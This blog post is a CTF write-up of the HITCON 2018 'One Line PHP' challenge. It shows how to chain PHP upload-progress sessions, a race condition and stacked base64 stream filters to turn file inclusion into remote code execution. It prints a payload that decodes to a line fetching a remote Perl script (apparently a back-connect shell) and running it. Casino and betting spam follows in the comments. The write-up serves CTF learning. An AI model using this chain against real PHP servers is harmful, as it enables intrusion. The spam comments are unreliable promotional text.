2018年10月24日 星期三

HITCON CTF 2018 - One Line PHP Challenge



In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P

This year, I designed another one and it's the shortest one among all my challenges - One Line PHP Challenge!(There is also another PHP code review challenges called Baby Cake may be you will be interested!) It's only 3 teams(among all 1816 teams)solve that during the competition. This challenge demonstrates how PHP can be squeezed. The initial idea is from @chtg57’s PHP bug report. Since session.upload_progress is default enabled in PHP so that you can control partial content in PHP SESSION files! Start from this feature, I designed this challenge!

The challenge is simple, just one line and tell you it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache. Here is whole the source code:

alt


With the upload progress feature, although you can control the partial content in SESSION file, there are still several parts you need to defeat!

Inclusion Tragedy

In modern PHP configuration, the allow_url_include is always Off so the RFI(Remote file inclusion) is impossible, and due to the harden of new version’s Apache and PHP, it can not also include the common path in LFI exploiting such as /proc/self/environs or /var/log/apache2/access.log.

There is also no place can leak the PHP upload temporary filename so the LFI WITH PHPINFO() ASSISTANCE is also impossible :(

Session Tragedy

The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you :P

$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

Cleanup Tragedy

Although most tutorials on the Internet recommends you to set session.upload_progress.cleanup to Off for debugging purpose. The default session.upload_progress.cleanup in PHP is still On. It means your upload progress in the session will be cleaned as soon as possible!

Here we use race condition to catch our data!
(Another idea is uploading a large file to keep the progress)

Prefix Tragedy

OK, now we can control some data in remote server, but the last tragedy is the prefix. Due to the default setting of session.upload_progress.prefix, our SESSION file will start with a annoying prefix upload_progress_! Such as:

img


In order to match the @<?php. Here we combine multiple PHP stream filter to bypass that annoying prefix. Such as:

php://filter/[FILTER_A]/.../resource=/var/lib/php/session/sess...

In PHP, the base64 will ignore invalid characters. So we combine multiple convert.base64-decode filter to that, for the payload VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy. The SESSION file looks like:

img

P.s. We add ZZ as padding to fit the previous garbage

After the the first convert.base64-decode the payload will look like:

��hi�k� ޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2


The second times, PHP will decode the hikYUU... as:

�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v


The third convert.base64-decode, it becomes to our shell payload:

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////



OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!
Here is the final exploit!

16 則留言:

  1. Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in /home/...

    This ain't working for me.

    $ php --version
    PHP 7.2.10-0ubuntu0.18.04.1 (cli) (built: Sep 13 2018 13:45:02) ( NTS )

    回覆刪除
    回覆
    1. Your base64-encoded payload should avoid "==".Because "==" in the base64-encode means end,that should not be any chars after "==" or get this error.

      XXXbase64-encodedXXXXX ok
      XXXbase64-encoded==XXX error

      刪除
  2. can u post write up for version 2 in realworld ctf ?

    回覆刪除
    回覆
    1. https://hackmd.io/s/rJlfZva0m here is the anticipated solution

      刪除
  3. games that are immersive and will keep improving the game for you to play as well. If there are any questions or problems arise, you ทางเข้า PG SLOT
    can contact the admin 24 hours a day. pgslot888, the leading slot game website. Guaranteed by the best casino award ofสมัคร PGSLOT
    the year. Collect pg games for everyone. Members will have a unique experience.

    回覆刪除
  4. superslot เกมสล็อตออนไลน์ เว็บตรงที่ดีที่สุดมีเกมสล็อตที่แตกง่ายที่สุดให้ท่านได้เลือกเล่นมากมาย ทดลองเล่นสล็อต ทุกค่ายเกม
    อาทิ PG SLOT , EVOPLAY , SLOTXO , PRAGMATIC PLAY , JILI GAME , RELAX GAMING , DAFABET , JOKER เราชื่อเว็บสล็อตเว็บตรงที่ให้บริการไม่ผ่าน agent สมัครซุปเปอร์สล็อต

    回覆刪除
  5. สล็อตโจ๊กเกอร์ ไปสนุกกับเกมสล็อตออนไลน์ ไปพร้อมๆกับความสนุกจากเว็บ สล็อต เว็บสล็อตออนไลน์ที่มีมากกว่าเกมสล็อต
    ที่จะพาผู้เล่นไปพบกับความเป็นที่สุดของที่สุดในสายคาสิโน สามารถ ทดลองเล่นสล็อต ได้แล้ววันนี้ทั้งในระบบ Android และ iOS

    回覆刪除
  6. Give away every day, get free credit, pg168
    withdraw if someone is following, we know we have a lot of activities. Members do not have to deposit Thai baht.

    回覆刪除
  7. this was a very nice post. megagame 50รับ100 Spending some time and actual effort to produce a really good articleÖ but what can ซุปเปอร์สล็อต เครดิตฟรี I sayÖ I put things off a whole lot and don’t seem to get anything done.โปรโมชั่นสล็อต100%

    回覆刪除
  8. The next time I read a blog, I hope that it doesn't disappoint me as much as this one. I mean, I know it was my choice to read, but I actually thought you have something interesting to say. All I hear is a bunch of whining about something that you could fix if you weren't too busy looking for attention.
    섯다

    回覆刪除
  9. Glad to chat your blog, I seem to be forward to more reliable articles and I think we all wish to thank so many good articles, blog to share with us.
    스포츠토토

    回覆刪除
  10. I’m excited to uncover this page. I need to to thank you for ones time for this particularly fantastic read !! I definitely really liked every part of it and i also have you saved to fav to look at new information in your site.
    성인웹툰

    回覆刪除
  11. Thanks for sharing great information. Your website is very nice. The details on this blog are very impressive.
    먹튀검증

    回覆刪除
  12. รับโปรโมชั่นสูงสุดทีเด็ดแทงบอล
    เกมสล็อตมีโอกาสได้รับเครดิตฟรีในการเข้าเล่น

    回覆刪除